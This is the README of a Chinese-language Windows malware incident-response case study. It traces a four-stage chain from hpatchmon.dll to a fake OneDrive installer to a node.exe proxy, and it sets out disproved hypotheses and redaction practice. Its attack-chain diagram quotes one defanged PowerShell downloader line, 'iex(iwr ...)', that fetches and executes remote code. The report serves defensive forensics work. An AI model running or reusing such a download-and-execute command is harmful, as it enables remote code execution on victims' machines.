一份真實的 Windows 惡意程式事件應變(Incident Response)與數位鑑識案例研究。 以「事件報告」形式撰寫:一份主文件 + 可驗證的證據附件。
這份報告刻意保留了三個被推翻的假設。 在 IR 中,排除一個假設與證實一個假設,價值相同。
某台 Windows 主機出現異常症狀:Google 相關網頁被強制轉跳至驗證碼(CAPTCHA)頁面。根因為一支偽裝成 OneDrive 元件的木馬,透過本機代理(127.0.0.1:1108)介入瀏覽器流量。
調查採「觀察 → 假設 → 驗證 → 發現 → 下一個問題」的循環,拆解出四階段攻擊鏈:hpatchmon.dll(Stage 1 Installer)→ 排程 Monitoring(Watchdog)→ OneDriveInstallerV12-tpn7(Stage 2 偽裝)→ PowerShell Downloader(Stage 3)→ node.exe 代理(Stage 4)。
Payload 與常駐機制已完成清除(Contained)。 完整驗證後,威脅活性風險低 —— 但初始存取來源(Initial Access)仍完全未知。詳見 docs/case-study.md。
flowchart TD
A["未知感染源<br/>Initial Access — <b>完全未知</b><br/>推測:核可 UAC 的安裝程式 或 UAC bypass"]:::unknown
B["hpatchmon.dll + hpatchmonTask<br/>C:\Windows\System32<br/><b>Stage 1 · Installer</b>"]:::mal
C["排程工作 'Monitoring'<br/>→ cmd.exe /d /c ...<br/><b>Watchdog</b>"]:::mal
D["OneDriveInstallerV12-tpn7\<br/><b>Stage 2 · 偽裝落地</b>"]:::mal
E["powershell<br/>iex(iwr ambertrailhouse[.]com)<br/><b>Stage 3 · Downloader</b>"]:::mal
F["node.exe + app.js<br/><b>Stage 4 · Payload</b>"]:::mal
G["Proxy 127.0.0.1:1108<br/>隧道轉發(<b>未解密</b>)"]:::impact
H["Google 轉跳 CAPTCHA<br/>(上游髒 IP 觸發反濫用)"]:::symptom
A --> B --> C --> D --> E --> F --> G --> H
classDef unknown fill:#fff3cd,stroke:#d39e00,color:#000;
classDef mal fill:#f8d7da,stroke:#b31b1b,color:#000;
classDef impact fill:#d1ecf1,stroke:#0c5460,color:#000;
classDef symptom fill:#e2e3e5,stroke:#383d41,color:#000;
| 假設 | 否證方式 | 影響 |
|---|---|---|
「OneDriveInstallerV12 是入口」 |
hpatchmon 的發現與手法一致性 |
Stage 排序修正 —— 它只是第二階段 |
| 「機器以內建 Administrator 運作 → 無聲寫入 System32」 | 一條 whoami /user |
root cause 線索作廢,Initial Access 回到完全未知 |
| 「代理必然解密 HTTPS」 | 憑證存放區無 rogue CA | 風險下調 —— 推測為隧道轉發而非解密 |
- CAPTCHA 是症狀,不是目的。 流量經代理轉發至上游髒 IP,遭反濫用機制判定為自動化流量;真實目的推測為搜尋劫持/廣告注入。
- 無 rogue 根憑證。 代理可用 CONNECT 方法純隧道轉發 HTTPS 而不需任何憑證 —— 這推翻了「攔截必然意味解密」的直覺,也讓憑證外洩風險大幅下修。
- 環境基線是排除誤判的關鍵。 本機有 3 類合法但具 MITM 能力的憑證(NordVPN / Razer / 第三方讀卡機軟體)、2 個非預設帳號(Codex 沙箱)、被 Docker 改寫的 hosts、滿是
fec0::的 DNS 欄位 —— 沒有基線,每一項都會被誤判成中毒。見artifacts/notes/environment-baseline.md。 - 證據鏈已毀。 樣本在 hash / 備份前即被刪除,無法送分析。已列為 Limitation,也是本案最重要的教訓:先取證,再清除。
完整 IOC 見 artifacts/ioc.csv。
| 優先 | 項目 | 結果 |
|---|---|---|
| 🔴 P0-1 | 根憑證存放區 | ✅ 乾淨(無 rogue CA) |
| 🔴 P0-2 | PAC / WinHTTP / hosts / DNS | ✅ 乾淨 |
| 🟠 P1-1 | 內建 Administrator 假設 | ❌ 推翻 |
| 🟠 P1-2 | 憑證輪替 | ⬇️ 降級(未涉內部資產,無需通報) |
| 🟡 P2 | hpatch 殘留 / Amcache / 瀏覽器擴充 |
⏳ 待執行 |
現況:不宜宣告 Closed,但理由已改變 —— 不再是「威脅可能還活著」,而是「入侵途徑不明,無法保證不會再發生」。
IR-Case-Study-NodeMalware/
├── README.md # 本檔(Abstract)
├── LICENSE / .gitignore
│
├── docs/
│ ├── case-study.md # ⭐ 主文件:完整事件(七個調查循環)
│ └── appendix.md # 附錄:指令 / IOC / Registry / MITRE / 參考
│
├── diagrams/
│ ├── attack-chain.mmd # 攻擊鏈
│ ├── timeline.mmd # 時間軸
│ ├── investigation-flow.mmd # 調查循環
│ ├── persistence.mmd # 常駐機制關係
│ └── images/ # 匯出圖片(選用)
│
└── artifacts/
├── ioc.csv # 妥協指標
├── powershell-commands.txt # 指令彙整
├── scheduled-task.xml # 被排除的原廠排程(去識別化)
├── screenshots/ # 證據截圖
└── notes/
├── environment-baseline.md # ⭐ 已知良性基線(排除誤判的關鍵)
└── pending-investigation.md # 驗證清單(P0/P1 已回填,P2 待執行)
- 本 README — 30 秒掌握事件全貌。
docs/case-study.md— 完整調查敘事(論文本文)。artifacts/notes/environment-baseline.md— 為什麼那些「可疑」的東西其實正常。docs/appendix.md— 技術細節與指令(論文附錄)。
本報告已針對來源主機做完整去識別化處理。以下項目一律以佔位符取代:
| 類別 | 處理方式 |
|---|---|
| 主機名稱 | <HOSTNAME> |
| 使用者帳號名稱 | <user> |
機器 SID(S-1-5-21-... 網域識別段) |
S-1-5-21-<REDACTED> |
| 內網 / 路由器 IP、ISP DNS 位址 | <LAN-IP> / <ROUTER-IP> / <ISP-DNS-IPv6-*> |
| 第三方本機服務憑證的 Subject 欄位 | <REDACTED> |
| ISP、地理位置、任職產業等可識別線索 | 已移除或泛化 |
保留的是技術結構,移除的是身分:帳號的 RID(如 1002 / 500)保留,因為 RID 決定權限語意、是本案推論的核心;帳號名稱移除,因為它只是身分。同理,DNS 的設定模式保留,位址移除。
第三方商用軟體的產品名稱亦予保留(如 NordVPN、Razer Synapse、Docker、OpenAI Codex CLI)。這些是產品事實而非身分事實 —— 任何安裝該軟體的人都會有相同表徵。基線文件的價值正在於指名道姓:把它們寫成「某 VPN 軟體會裝憑證」,讀者就無從比對自己的機器,文件也就失去意義。
惡意程式端的 IOC(網域、檔名、路徑、埠號)未做去識別化,僅依慣例 defang —— 這些是威脅情報,本就該公開。
本 Repository 為防禦性資安教育用途,記錄一次真實事件的調查、清除與驗證過程。所有妥協指標(IOC)均已去識別化(defang,例如 ambertrailhouse[.]com),不包含任何可運作的惡意程式碼或攻擊工具。所有 PowerShell 指令皆為鑑識查詢或清除復原用途。
文中提及的第三方軟體均為合法產品,其安裝根憑證或建立本機帳號的行為屬產品設計,本文引述僅為說明鑑識判讀時的歸因過程,不構成任何安全性指控。
| 版本 | 內容 |
|---|---|
| v1.0 | 事件應變記錄、攻擊鏈重建、清除與驗證 |
| v1.1 | 完成 P0/P1 驗證:無 rogue CA → 威脅模型改寫;內建 Administrator 假設推翻;新增環境基線 |
| v1.2 | 全 repo 去識別化;新增 CONTRIBUTORS.md |
| v1.3(規劃) | 回填 P2(hpatch 殘留 / Amcache 時間線 / 瀏覽器擴充) |